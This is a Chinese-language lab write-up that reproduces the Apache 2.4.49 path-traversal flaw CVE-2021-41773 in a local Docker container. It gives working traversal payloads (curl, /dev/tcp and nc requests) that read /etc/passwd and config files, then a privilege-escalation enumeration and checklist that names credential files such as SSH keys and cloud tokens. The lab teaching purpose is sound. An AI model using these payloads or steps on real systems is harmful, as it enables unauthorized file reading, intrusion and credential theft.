CVE--2021-41773(Apache HTTP Server 2.4.49 路径穿越)漏洞复现

14415 字
72 分钟
CVE--2021-41773(Apache HTTP Server 2.4.49 路径穿越)漏洞复现

首先介绍一下这个漏洞#

  • 受影响的软件:Apache HTTP Server
  • 受影响的版本:2.4.49
  • 漏洞类型:路径穿越,可导致读取任意文件;特定配置下可升级为远程命令执行

靶场搭建,让ai辅助在Docker搭建环境#

先把镜像拉下来,然后从镜像里把官方配置导出来:

Terminal window
docker pull httpd:2.4.49
docker run --rm httpd:2.4.49 cat /usr/local/apache2/conf/httpd.conf > conf/httpd.conf

第二条命令的含义:

  • docker run --rm — 起一个临时容器,用完自动删除
  • cat <路径> — 把容器里那个文件的内容打印出来
  • > conf/httpd.conf — 重定向到你本机的文件

关键点:--rm 表示这个容器不启动服务、只是执行一条命令就退出,所以不会占端口、也不会留下垃圾。用这种方式”借用”镜像里的文件很方便。

导出来之后确认一下:

Terminal window
awk 'END{print NR}' conf/httpd.conf

会看到 551 行。这就是官方默认配置的完整内容。

Docker没有现成的环境,需要将镜像拉下来之后进行修改

靠 docker-compose.yml 里的这两行:

volumes:
- ./conf/httpd.conf:/usr/local/apache2/conf/httpd.conf:ro

这行的格式是:

本机路径 : 容器内路径 : 权限
  • ./conf/httpd.conf — 本机上的文件
  • /usr/local/apache2/conf/httpd.conf — 它在容器里出现的位置,正好是 Apache 默认会去读配置的地方
  • :ro — read-only,容器只能读不能改,防止容器里的程序把你写的东西弄坏

通过挂载将容器里那个位置原本躺着镜像自带的配置被本机这份替换掉了。

验证一下:

Terminal window
docker exec cve-2021-41773 head -3 /usr/local/apache2/conf/httpd.conf

看到中文注释:

# ============================================================
# Apache HTTP Server 2.4.49 精简配置

配置文件#


  1. 公告里提到了两条关键信息:

    • 只有当目标文件未被默认的 require all denied 保护时,穿越才会成功
    • 如果相关路径启用了 CGI,可进一步导致远程代码执行

    这两句话直接告诉我们要去看配置里的两个地方:授权配置和 CGI 配置。

  2. PoC 里的攻击路径会暴露”跳板目录”的存在。本次 PoC 用的是 /icons/ 开头,这就提示我们配置里必须有一个能把 /icons/ 映射到真实目录的指令。

  3. 直接在官方配置里搜

Terminal window
grep -nE "^(Listen|ServerRoot|DocumentRoot)" conf/httpd.conf
grep -nE "<Directory />" -A3 conf/httpd.conf
grep -nE "cgi_module" conf/httpd.conf
grep -nE "^(ScriptAlias|Alias)" conf/httpd.conf

注意这里用的是 grep -E 而不是 grep。macOS 自带的是 BSD grep,不支持在基本正则里用 \| 表示”或”,必须加 -E 才能用 |。这一点很容易踩坑——写错了它不报错,只是默默返回空结果,让人误以为”配置里没有这一项”。

本次在这份官方配置里搜出来的结果(实测行号):

  • 第 31 行 — ServerRoot "/usr/local/apache2"
  • 第 52 行 — Listen 80
  • 第 187 行 — #LoadModule cgi_module modules/mod_cgi.so(被注释掉的)
  • 第 248-251 行 — <Directory /> 段,内容是 Require all denied
  • 第 265 行 — DocumentRoot "/usr/local/apache2/htdocs"
  • 第 382 行 — ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/"(启用的)

另外还有一个”搜不到”的结果同样重要:Alias /icons/ 在官方配置里不存在。它只出现在讲解语法的注释里(第 364-372 行有一堆 # 开头的示例)。


配置文件 conf/httpd.conf 一共 120 行,分成六段。

第一段:基础信息

ServerRoot "/usr/local/apache2"
Listen 80
ServerName localhost
  • ServerRoot — Apache 的目录,它自己的程序、模块、日志都放在这里。
  • Listen 80 — 监听 80 端口。这是容器内部的端口,再通过 docker-compose.yml 里的 8080:80 映射到你电脑的 8080 端口,所以你在浏览器里访问的是 8080
  • ServerName — 服务器名字,本地测试随便写

第二段:加载模块

LoadModule mpm_prefork_module modules/mod_mpm_prefork.so
LoadModule authz_core_module modules/mod_authz_core.so
LoadModule alias_module modules/mod_alias.so
(后面还有若干行,格式都一样)

Apache 的功能是拆成一个个”模块”的,用哪个就加载哪个。这一堆里只有一行和漏洞直接相关:

LoadModule cgi_module modules/mod_cgi.so

mod_cgi 是让 Apache 能”执行程序”的模块。把它注释掉,路径穿越就只能读文件,没法执行命令。

第三段:★ 漏洞开关(最关键的一段)

<Directory />
AllowOverride none
Require all granted
</Directory>

<Directory /> 里的那个 / 表示”整个文件系统的根”,也就是所有文件。这一段的 Require all granted 意思是:这些文件都允许访问。

Apache 官方默认写的是 Require all denied(一律拒绝),我们把它改成了 granted。

改这一个词,就是整个漏洞从”存在”变成”可利用”的那一下。

紧跟着的一段是网页目录本身的权限,内容比较常规:

<Directory "/usr/local/apache2/htdocs">
Options Indexes FollowSymLinks
Require all granted
</Directory>
  • Options Indexes — 允许列出目录内容(访问一个没有首页的目录时,会把里面的文件列出来)
  • FollowSymLinks — 允许跟随符号链接(可以理解成”快捷方式”)

第四段:日志

ErrorLog /proc/self/fd/2
CustomLog /proc/self/fd/1 common

/proc/self/fd/1 和 /proc/self/fd/2 是 Linux 里”标准输出”和”标准错误”的写法。把日志写到这里,等于把日志接到容器的终端上,这样你在本机用 docker logs 才能看到。

第五段:两个跳板目录(第二关键的一段)

<IfModule alias_module>
ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/"
Alias /icons/ "/usr/local/apache2/icons/"
</IfModule>

这两行的作用都是”把网址映射到电脑上的真实目录”,但方式不同,差别很关键:

  • Alias /icons/ "..." — 访问 /icons/x 时,Apache 去读那个目录下的 x,读出来发给你
  • ScriptAlias /cgi-bin/ "..." — 访问 /cgi-bin/x 时,Apache 把 x 当作程序执行,把执行结果发给你

为什么非得用”跳板”? 因为路径穿越必须从一个真实存在的目录出发才能往上跳。这两个目录都位于 /usr/local/apache2/ 下,位置合适,拿来当跳板正合适。

不过这两行的来历不一样,这一点值得留意:

  • ScriptAlias /cgi-bin/ "..." — 官方默认配置里就有(在官方 httpd.conf 的第 382 行)
  • Alias /icons/ "..." — 官方默认配置里没有,需要我们主动加上

第二点很容易踩坑。官方配置一共 551 行,里面出现 Alias 的地方全是注释——只有讲解语法用的示例,没有一条真正启用的 Alias 指令。官方镜像确实自带 /usr/local/apache2/icons/ 目录(里面是 Apache 的图标资源),但默认并不把它通过网址暴露出来。

所以不加这行 Alias,访问 /icons/ 时服务器会去不存在的 htdocs/icons 里找,整条读取链就断了。

社区流传的 PoC 普遍拿 /icons/ 起手,原因也在这里:它在镜像里天然存在,只要补一行 Alias 就能当跳板,不用自己造目录。

下面两段是分别给这两个目录配权限的,内容很直白:

<Directory "/usr/local/apache2/cgi-bin">
Require all granted
</Directory>
<Directory "/usr/local/apache2/icons">
Require all granted
</Directory>

第六段:文件类型

<IfModule mime_module>
TypesConfig conf/mime.types #用来配置 MIME 类型的映射文件
</IfModule>

告诉 Apache 哪种扩展名对应哪种文件类型(.html 是网页、.png 是图片)。和漏洞无关,属于”服务器能正常干活”的基础配置。

最后小结一下

123 行里,真正和漏洞有关的只有这四处:

  • <Directory /> 里的 Require all granted — 决定漏洞可不可利用
  • LoadModule cgi_module ... — 决定能不能升级成命令执行
  • ScriptAlias /cgi-bin/ ... — 提供”执行”跳板
  • Alias /icons/ ... — 提供”读取”跳板

其余一百多行,都是让这台服务器能正常工作的常规配置。看懂这四行,你就看懂了这个环境。

这四行里,三行是”改”出来的,一行是官方本来就有的:

  • <Directory /> 的授权 — 官方默认是 Require all denied,我们改成了 granted
  • Alias /icons/ ... — 官方配置里根本没有这一行,是我们主动加的
  • LoadModule cgi_module ... — 官方默认是注释状态,我们让它生效了
  • ScriptAlias /cgi-bin/ ... — 官方默认就有,不用动

启动服务器#

Terminal window
docker compose up -d
  • up 是启动
  • -d 是让它到后台去跑(不然它会占着终端不放)

看到类似这样的输出就成功了:

Container cve-2021-41773 Started

(如果什么都没有,先执行 docker ps 看看容器在不在,再执行 docker compose logs 看有没有报错。)


开始攻击#


使用bash#

尝试:

3 层 -> 404 落点 /usr/local/etc/passwd,文件不存在
4 层 -> 200 落点 /etc/passwd,命中
5 层 -> 200 多出来的一层被根目录吃掉
6 层 -> 200 同上
Terminal window
curl --path-as-is "http://127.0.0.1:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

根据/usr/local/apache2/icons穿越四层 你会看到:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

/etc/passwd 每行记录一个账户,字段用冒号 : 分隔,一共七段:#

root:x:0:0:root:/root:/bin/bash
| | | | | | |
| | | | | | +-- 第7段:登录后用什么 shell
| | | | | +-------- 第6段:家目录
| | | | +------------- 第5段:说明文字(随便写,程序不读它)
| | | +--------------- 第4段:主组 GID
| | +----------------- 第3段:用户 ID(UID)
| +------------------- 第2段:密码;这里是 x,表示"密码不在这里"
+----------------------- 第1段:用户名

把开头三行逐条翻译过来:

  • root:x:0:0:root:/root:/bin/bash UID 和 GID 都是 0。UID 为 0 就是超级用户——Linux 判权限看的是这个数字,不是名字。家目录 /root,登录后用的是 /bin/bash。
  • daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin UID 1。注意最后的 shell 是 /usr/sbin/nologin——一个专门用来”拒绝登录”的程序,跑到它就打印一句话然后把你踢出去。所以这个账户没法用来登录。
  • bin:x:2:2:bin:/bin:/usr/sbin/nologin 同理,UID 2,系统账户,负责 /bin 目录,不能登录。

有个细节值得留意:第二段是 x,不是密码。现代 Linux 把密码哈希单独放进了 /etc/shadow,这个文件只留一个 x 占位。原因很简单——/etc/passwd 是所有人可读的,密码哈希不能搁这儿。

可以包装成函数使用#

在 shell 里定义个函数(把当前用的 payload 前缀存起来):

Terminal window
readf() { curl -s --path-as-is "http://127.0.0.1:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e$1"; }

之后就能当普通命令用了:

Terminal window
readf /etc/passwd
readf /etc/os-release
readf /usr/local/apache2/conf/httpd.conf

想把结果存成文件,加个 -o 参数进去就行:

Terminal window
readf() { curl -s --path-as-is -o "$2" "http://127.0.0.1:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e$1"; }
readf /usr/local/apache2/conf/httpd.conf leaked-httpd.conf

Tips—特殊情况:万一目标上没有 curl bash 自带的 /dev/tcp 就能发原始请求:

Terminal window
exec 3<>/dev/tcp/127.0.0.1/8080
printf 'GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/hostname HTTP/1.0\r\nHost: 127.0.0.1:8080\r\n\r\n' >&3
cat <&3
exec 3<&-

实测返回:

HTTP/1.1 200 OK
Date: Sat, 19 Sep 2026 12:53:13 GMT
Server: Apache/2.4.49 (Unix)
Accept-Ranges: bytes
Content-Length: 13
Connection: close
2ae59ee523b0

或者用 nc:

Terminal window
printf 'GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/hostname HTTP/1.0\r\nHost: 127.0.0.1:8080\r\n\r\n' | nc -w 3 127.0.0.1 8080

这两种方式发出去的是完全未经加工的原始请求,比 curl 更贴近”手工写协议”。从上面那段输出里能直接看到 HTTP 响应的结构:状态行 → 响应头 → 空行 → 正文,空行就是头和正文的分界。


实测这台容器里 19 个账户,第二段全部是 x,没有一个例外。#

/etc/passwd 是”一行一个账户”的格式,所以数行数就是数账户数。实测四种写法,结果一致:

sh -c指让shell执行后面跟着的那一整串字符串作为命令。

Terminal window
docker exec cve-2021-41773 sh -c 'wc -l < /etc/passwd' # 19
#`wc`——word count 的缩写,一个专门用来数东西的小工具
#`-l`——只数**行**(lines)
#`< /etc/passwd`——把 `/etc/passwd` 这个文件接到 `wc` 的输入上,让它去读
docker exec cve-2021-41773 sh -c 'awk "END{print NR}" /etc/passwd' # 19
#`awk`——一个"逐行处理文本"的工具。它的工作方式是一行一行读文件,每读一行可以做一件事
#`NR`——awk 内置的计数器,意思是"到目前为止一共读了几行"(**N**umber of **R**ecords)
#`END{...}`——时机标记,意思是"**整份文件全部读完之后**,再做花括号里的事"
#`print NR`——把行数打印出来
docker exec cve-2021-41773 sh -c "grep -c '' /etc/passwd" # 19
#`grep`——"搜索并筛选"的工具,从文件里挑出符合条件的行
#`-c`——只报**数量**(count),不把匹配到的内容打出来
#`''`——一个**空**的匹配条件。空条件匹配**每一行**,所以等于把全部行都算进来
docker exec cve-2021-41773 sh -c 'getent passwd | wc -l' # 19
#`getent`——get entries,**向系统本身查询**记录。它问的不是某个具体文件,而是"系统现在认为有哪些"
#`passwd`——要查的记录类型:用户账户
#`|`——管道。把左边命令吐出来的东西,直接交给右边命令去接收
#`wc -l`——数行

用行数代表账户数是可靠的,但前提是:

  • 文件末尾有换行符——tail -c 1 /etc/passwd | od -c 显示 \n。要是没有,wc -l 会少算最后一行
  • 没有空行或字段残缺的行——awk -F: "NF!=7" /etc/passwd 输出为空
  • 没有重名——awk -F: "{print \$1}" /etc/passwd | sort | uniq -d 输出为空

这三条里只要有一条不成立,“行数 = 账户数”就不成立了。

另外 getent passwd 的结果和直接数文件一致(都是 19),说明这台机器没有接入额外的账户来源(LDAP、SSSD 之类)。如果目标接了那些东西,getent passwd | wc -l 会更接近”系统实际认可的账户数”,直接数文件则会漏掉它们。

这里测试时有些坑#

下面这三条命令的骨架和上面完全一样,区别只有两点:重定向符号 < 写在了外面,以及有没有 -i。就这两点,结果天差地别。

第一次的写法是:

Terminal window
docker exec cve-2021-41773 wc -l < /etc/passwd

结果是 0。

原因在于:< /etc/passwd 这个重定向是你本机 shell 做的,跟容器没有关系。它把本机文件接到 docker exec 的标准输入上——但 docker exec 不带 -i (interactive / keep STDIN open)时不会转发标准输入,所以容器里的 wc -l 拿到的是空输入,输出 0。

更阴的是加上 -i 之后:

Terminal window
docker exec -i cve-2021-41773 wc -l < /etc/passwd

结果是 142。这个数字看起来很”正常”,很容易被当成容器的结果——实际上它数的是本机上那份 /etc/passwd。这里是因为没有加sh -c,没有在容器中开个shell导致读到本机上的数据。

正确写法是把整条命令连同重定向一起交给容器内的 shell:

Terminal window
docker exec cve-2021-41773 sh -c 'wc -l < /etc/passwd'

这样重定向在容器里发生,读到的才是容器的文件,输出 19。

也就是说只要涉及管道、重定向、通配符展开,都要用 sh -c '...' 包起来交给容器执行,否则这些符号会先被你本机的 shell 处理掉。

这个文件是 /etc/passwd,记录着系统里所有用户账号的信息。正常情况下网页服务器绝不会把它发给你。#

现在把这条命令拆开看。#

--path-as-is 这个参数的作用是:让我发出去的网址保持原样,不要帮我整理。

curl 默认会”好心”地帮你把网址里的 .. 处理掉,那样就攻击不成了。加上这个参数,才是原汁原味地发出去。

网址本身逐段拆开是这样:

/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
| | | | |
| | | | +-- 向上跳 1 层
| | | +--------- 向上跳 1 层
| | +---------------- 向上跳 1 层
| +----------------------- 向上跳 1 层(用混合写法,漏洞就出在这里)
+------------------------------ 起点:一个真实存在的目录

最后那段 /etc/passwd 就是”想读的文件”。

这个起点目录的真实位置是 /usr/local/apache2/icons/,要一路跳回最顶层,正好需要向上四层:

/usr/local/apache2/icons/ ← 起点
.. → /usr/local/apache2/
.. → /usr/local/
.. → /usr/
.. → / ← 到顶了

到顶之后再往下走 etc/passwd,就拿到了 /etc/passwd。

接着利用这个原理来获取其他文件 这里有个小坑值得单独说:目标路径必须带上前导斜杠,因为它同时充当着与最后一段 .. 之间的分隔符。实测四种写法:

.../%2e%2e/etc/hostname -> 200 正确
.../%2e%2e//etc/hostname -> 200 重复斜杠被 Apache 合并,无妨
.../%2e%2e/./etc/hostname -> 200 多余的 . 被合并,无妨
.../%2e%2eetc/hostname -> 404 漏了斜杠!%2e%2eetc 粘成一段,穿越和路径全错

最后那种写法最常见的来由是:手抄 payload 时把 /etc/hostname 的前导斜杠当成”路径开头”给删掉了,其实它是拼在 .. 后面的分隔符。

把目标文件的绝对路径接到前缀后面就行。实测这台容器读到的:

  • /etc/hostname → 2ae59ee523b0,容器的主机名
  • /etc/hosts → 里面暴露了容器内网地址 172.18.0.2,这是横向移动的线索
  • /etc/os-release → Debian GNU/Linux 10 (buster),一眼看出系统版本
  • /etc/group → 组列表,配合 /etc/passwd 能拼出完整的用户与组关系
  • /usr/local/apache2/conf/httpd.conf → 服务器自己的配置

最有价值的通常是最后那个配置文件:它会告诉你服务器装了哪些模块、哪些目录被映射出去了、还有没有别的可利用点。拿下它,基本等于拿到了这台服务器的说明书。

顺带记两个读不到的特殊情况,这些文件是内核动态生成的虚拟文件,不占用磁盘空间:

  • /proc/version → 返回 200 但正文是空的。这类 procfs 文件在 stat 里大小就是 0,Apache 老老实实发了 0 字节
  • /proc/self/environ → 403,环境变量文件权限同样受限

其中/etc/shadow → 403,root 专属读不到,需要提权。

下面开始尝试提权#

打通 RCE 之后,你的身份是 daemon(UID 1)。

先提取环境的信息#

Terminal window
docker exec -u daemon cve-2021-41773 sh -c 'id; uname -a; cat /etc/os-release | head -2'
  • -u daemon——u 是 user,指定”以哪个用户的身份”来执行。不写这一句,就会用容器里默认的 root,会有到处都可以提权的假象。
  • id——打印当前用户的 UID、GID 和所属的组
  • ;——分隔符,前一条执行完就接着执行下一条
  • uname -a——a 是 all,打印系统全部信息:内核名、主机名、内核版本、CPU 架构
  • cat /etc/os-release——把发行版信息文件原样打印出来
  • | head -2——管道,只取前 2 行(这个文件有十几行,我们只关心开头的发行版名字)

输出:

uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux 2ae59ee523b0 7.0.12-linuxkit #1 SMP PREEMPT Fri Aug 14 16:27:59 UTC 2026 aarch64 GNU/Linux
PRETTY_NAME="Debian GNU/Linux 10 (buster)"
NAME="Debian GNU/Linux"

daemon 是系统服务账户,设计上就是”只干活、不登录”。系统是 Debian 10,内核叫 7.0.12-linuxkit。

接着排查带SUID的文件#

Terminal window
docker exec -u daemon cve-2021-41773 sh -c 'find / -perm -4000 -type f 2>/dev/null'
  • find——从某个目录出发,递归地往下找符合条件的文件
  • /——起点是根目录,也就是把整台机器扫一遍
  • -perm -4000——找权限位里带 4000 的。这个八进制位就是 SUID 位(开头的 - 表示”只要包含这一位就行”,其他位不管)
  • -type f——只要普通文件(f = file),不要目录
  • 2>/dev/null——把错误信息丢进垃圾桶。从根目录扫会撞上大量没权限的目录,不扔掉的话满屏都是 Permission denied,看着很乱。0是 标准输入(stdin),1是标准输出(正常结果)(stdout),2是 标准错误(报错信息)(stderr)。

输出:

/bin/su
/bin/umount
/bin/mount
/usr/local/apache2/bin/suexec
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/gpasswd

全是 Debian 装系统时就带的 判断标准在这里:SUID 挂在 passwd、su、mount 这类程序上是正常的(它们本来就需要以 root 身份做特定事);挂在 find、vim、cp、nmap 这类程序上才是明确的问题信号。本环境属于前者。

下面试着用 SUID 的 mount 挂载#

Terminal window
docker exec -u daemon cve-2021-41773 sh -c 'mount -t tmpfs none /tmp/mnt 2>&1; echo "退出码: $?"'
  • mount——挂载文件系统
  • -t tmpfs——t 是 type,指定要挂的类型为 tmpfs(一种基于内存的文件系统)
  • none——设备名。tmpfs 不需要真实设备,所以这里填 none 占位
  • /tmp/mnt——挂到哪个目录(挂载点)
  • 2>&1——把错误通道(2 号)合并到正常输出通道(1 号),这样报错信息也能被我们看到,不会被丢掉
  • ;——接着执行下一条
  • echo "退出码: $?"——$? 是个特殊变量,存放上一条命令的退出码:0 表示成功,非 0 表示失败。特意把它打印出来,是为了不靠猜

输出:

mount: only root can use "--types" option
退出码: 1

权限不够,失败。SUID 的 mount 并不等于”谁都能挂载”——它只放行 /etc/fstab 里标了 user 选项的条目,这个容器里没有这样的条目。

换个角度来看,试着用 su 切换身份#

Terminal window
docker exec -u daemon cve-2021-41773 sh -c 'su -c id </dev/null 2>&1 | head -2'
  • su——switch user,切换用户身份(不写用户名就默认切到 root)
  • -c id——c 是 command,切换之后执行 id 这条命令,执行完就退出(不是开一个交互式 shell)
  • </dev/null——把输入接到”空设备”。因为 su 会等着你输密码,接上空设备后它立刻读到结束符,直接失败退出,不会把命令卡在那里
  • 2>&1——把错误信息也合并出来,否则看不到失败原因
  • | head -2——只取前两行

输出:

Password: su: Authentication failure

需要 root 密码。再看账户状态:

Terminal window
docker exec -u daemon cve-2021-41773 sh -c 'passwd -S daemon'
  • passwd——平时是改密码的工具,加上 -S 就变成”查状态”
  • -S——Status,只报告账户状态,不改动任何东西(很安全的一条命令)
  • daemon——要查的那个账户名

输出:

daemon L 09/27/2021 0 99999 7 -1

开头的 L 表示 Locked(已锁定)。

再换个视角看 /etc/shadow 里的密码字段(这一步 daemon 自己读不到,属于补充视角):

root:*:18897:0:99999:7:::
daemon:*:18897:0:99999:7:::

第二段是 *——意思是”没有设置密码”,不是”密码是某个哈希”。没有密码就无法通过 su 的验证,这条路在密码学层面就是关死的。

再尝试其他方法,看 capabilities#

Terminal window
docker exec -u daemon cve-2021-41773 sh -c 'grep -E "^Cap(Eff|Prm|Bnd)" /proc/self/status'
  • grep——从文件里筛选出符合条件的行
  • -E——用扩展正则(Extended),这样 | 才能当”或者”来用(普通模式里它只是个普通字符)
  • "^Cap(Eff|Prm|Bnd)"——匹配”以 Cap 开头、后面跟着 Eff 或 Prm 或 Bnd”的行。开头的 ^ 表示”行的开头”
  • /proc/self/status——“当前进程自己的状态信息”(self 的意思是谁来访问就代表谁)

输出:

CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 00000000a80425fb

CapEff 全零,表示当前进程没有任何生效的 Linux capability。第三行的 CapBnd 是 Docker 默认保留的边界集合,但边界集只是”上限”,不等于”可用”。

有点没招了,查看有什么还可以用的文件#

Terminal window
docker exec -u daemon cve-2021-41773 sh -c 'for d in /tmp /var/tmp /usr/local/apache2/logs /usr/local/apache2/htdocs /etc /root; do if touch "$d/.wtest" 2>/dev/null; then echo "可写 : $d"; rm -f "$d/.wtest"; else echo "不可写: $d"; fi; done'

这条是 shell 的循环,拆开看:

  • for d in /tmp /var/tmp ...; do ... done——循环语句:依次把列表里的每个路径装进变量 d,每装一个就把中间的语句跑一遍
  • if touch "$d/.wtest" 2>/dev/null; then——试着在该目录下建一个空文件。能建成就说明这个目录可写;建不成时的报错信息被 2>/dev/null 丢掉了,不刷屏
  • echo "可写 : $d"——打印结果($d 就是当前轮到的那个目录)
  • rm -f "$d/.wtest"——测试完立刻把文件删掉,不留垃圾(-f 表示万一文件不在也别报错)
  • else echo "不可写: $d"——建不成,就打印”不可写”
  • fi——if 语句的结束标记

输出:

可写 : /tmp
可写 : /var/tmp
不可写: /usr/local/apache2/logs
不可写: /usr/local/apache2/htdocs
不可写: /etc
不可写: /root

只有 /tmp 和 /var/tmp。Apache 自己的日志和网站目录都归 root,daemon 写不进去——也就是说”往网站根目录丢个 webshell”这种后续动作,在这里同样做不了。

但反过来,其实可以直接用root身份的#

Terminal window
docker exec -u daemon cve-2021-41773 sh -c 'find / -user root -perm -o+w -type f 2>/dev/null | wc -l'
  • -user root——只要属于 root 的文件
  • -perm -o+w——权限里”other(其他人)“这一组带 w(write,写)位的,也就是”任何用户都能写”
  • -type f——只要普通文件
  • | wc -l——数一数有多少行,也就是多少个文件

输出:

85

乍看有 85 个,像是有戏。但把 /proc 下的排除掉再看:

Terminal window
docker exec -u daemon cve-2021-41773 sh -c 'find / -user root -perm -o+w -type f 2>/dev/null | grep -v "^/proc/" | wc -l'
  • 前半段和上一条完全一样,只是在中间插了一道过滤
  • grep -v "^/proc/"——v 是 invert(反选),作用是排除匹配的行。这里排除”以 /proc/ 开头”的那些
  • | wc -l——再数一下剩下多少

输出:

0

一个都不剩。

那 85 个全是 /proc/kcore、/proc/keys、/proc/interrupts 之类的伪文件。它们显示”其他人可写”,纯粹是 procfs 的呈现方式,不是真实可写的磁盘文件。

用一下Docker环境才可以用的docker.sock试试容器逃逸,并尝试一下sudo、定时任务#

Terminal window
docker exec -u daemon cve-2021-41773 sh -c 'command -v sudo || echo "没有 sudo"; echo "--- cron ---"; ls -la /etc/cron.daily/ 2>/dev/null; echo "--- docker.sock ---"; ls -la /var/run/docker.sock 2>/dev/null || echo "没有 docker.sock"'

这条把三件事串在一起问,拆开看:

  • command -v sudo——问 shell”sudo 这个命令在哪里”。找得到就打印它的路径,找不到就什么都不输出(只是返回一个失败状态)
  • ||——“或者”:左边失败了才执行右边
  • echo "没有 sudo"——找不到时打印这句提示
  • echo "--- cron ---"——纯粹打印一行标题,让输出好认
  • ls -la——l 是长格式(带权限、属主、日期),a 是显示全部(连隐藏文件也列)
  • /etc/cron.daily/——“每天执行一次”的定时任务目录
  • 2>/dev/null——目录不存在时的报错丢掉
  • ls -la /var/run/docker.sock——看这个套接字文件在不在,它是容器逃逸的关键

输出:

没有 sudo
--- cron ---
-rwxr-xr-x 1 root root 1478 Apr 19 2021 apt-compat
-rwxr-xr-x 1 root root 1187 Apr 19 2019 dpkg
-rwxr-xr-x 1 root root 249 Sep 27 2017 passwd
--- docker.sock ---
没有 docker.sock

三项全空:

  • sudo 根本没装
  • /etc/cron.daily 里只有 Debian 自带的三个系统脚本,权限是 rwxr-xr-x(root 所有,其他人只读不可写),没法往里塞东西
  • 没有 /var/run/docker.sock,意味着连容器逃逸都做不了

也就是说提权根本搞不定!!!


Tips—拿到shell以后的排查提权

  • 认清身份与位置——id、uname -a、cat /etc/os-release,先决定往哪个方向找
  • SUID / SGID——find / -perm -4000 -type f 2>/dev/null,看有没有被人为加过 SUID 的普通程序
  • sudo 权限——sudo -l,特别留意 NOPASSWD 条目
  • 可写的文件与目录——尤其是 root 会读取、会执行的那些
  • 定时任务——cat /etc/crontab、ls -la /etc/cron*,“root 定时跑一个可写脚本”是最经典的提权点
  • capabilities——getcap -r / 2>/dev/null、cat /proc/self/status
  • 内核版本——对照有没有已知的本地提权漏洞
  • 容器特征——有没有挂 docker.sock、是不是 --privileged、有没有把宿主机目录挂进来
  • 凭据文件——应用配置里的数据库密码、.bash_history、SSH 私钥

SUID 列表里出现 passwd、su、mount 是正常的;出现 find、vim、cp、nmap 就是明确的信号。#

查看失败原因#

这是 Docker Desktop 为 macOS 准备的内核(linuxkit 项目),经过专门裁剪的精简内核,不是通用发行版内核。没有公开的、能用的本地提权 EXP 对应它。并且在配置的时候没有给自己留后门,所以根本提权不了,提权了也没什么用。#

Tips—换到别的环境还能用吗 第一层:完全通用——任何 Linux 上都应该先跑

这几项是 Linux 提权的基本面,换哪台机器都是第一步,一个字都不用改:

  • 认清身份与环境:id、uname -a、cat /etc/os-release
  • SUID/SGID 扫描:find / -perm -4000 -type f 2>/dev/null
  • capabilities:grep Cap /proc/self/status
  • 可写目录与全局可写文件
  • 定时任务:cat /etc/crontab、ls -la /etc/cron*
  • sudo -l
  • 内核版本 → 查有没有公开可用的 EXP

第二层:跟”运行形态”有关——容器、物理机、云主机各补各的

本次我们跑在容器里,所以第一步查的是容器特征:

  • .dockerenv 这个文件在不在、/proc/1/cgroup 里写了什么——用来判断”我到底在不在容器里”
  • 有没有挂载 docker.sock
  • 是不是 --privileged、有没有被授予多余 capability
  • 有没有把宿主机的目录挂进来
  • 如果是 K8s 的 Pod,还要看 Service Account token

而真实主机/云主机上的面要宽得多,下面这些是容器里根本没有、真实机器上却极常见的东西:

  • systemd 服务与 timer——systemctl list-units --type=service --state=running。 重点不是看有哪些服务,而是看 service 文件本身或它所在的目录是否可写。 原理和 cron 完全一样:以 root 身份运行 + 你能改它的内容 = 你能以 root 执行
  • 本地监听端口——ss -tlnp。只监听 127.0.0.1 的服务(数据库、管理后台)在容器里通常压根不存在, 真实机器上却很常见,而且往往配着弱口令——从”读文件”一步就能跳到”进数据库”
  • 用户目录里的残留——.bash_history、.ssh/id_rsa、.my.cnf、.netrc、.aws/credentials
  • 已安装软件的版本——dpkg -l 或 rpm -qa,找有没有已知提权 EXP 的老版本
  • glibc 版本——对应 Looney Tunables 这类漏洞
  • 历史残留脚本——/tmp、/var/tmp、/opt 里别人留下的、忘了删的东西
  • 危险组的成员资格——docker 组、lxd 组、adm 组,进了这几个组基本等于拿到 root

结论:**容器是最小化环境,面很窄;真实主机是个大得多的世界。**在容器里”九条全堵”不代表真实主机也没路。

第三层:只对本次这个镜像成立——换环境必须重新判断

  • 本次”九条路全堵死”的结论,只适用于 httpd 官方镜像,不能搬去别的镜像
  • “哪些 SUID 文件算正常”因发行版而异:Alpine、Ubuntu、CentOS 的默认列表各不相同
  • 换个镜像,很可能第一次跑 find -perm -4000 就蹦出一个你从没见过的可执行文件——那才是信号

还有一个前提差异,特别容易搞混

本次我们的身份是 daemon(UID 1),一个不能登录的系统用户,权限非常低。 换到别的环境,第一步要重新确认”我是谁、我能写哪里”,不要把这里的结论直接套过去。 很多环境里你拿到的是 www-data、nobody、apache,权限范围差别很大。

不用每次手敲,先用现成的自动化脚本扫一遍:

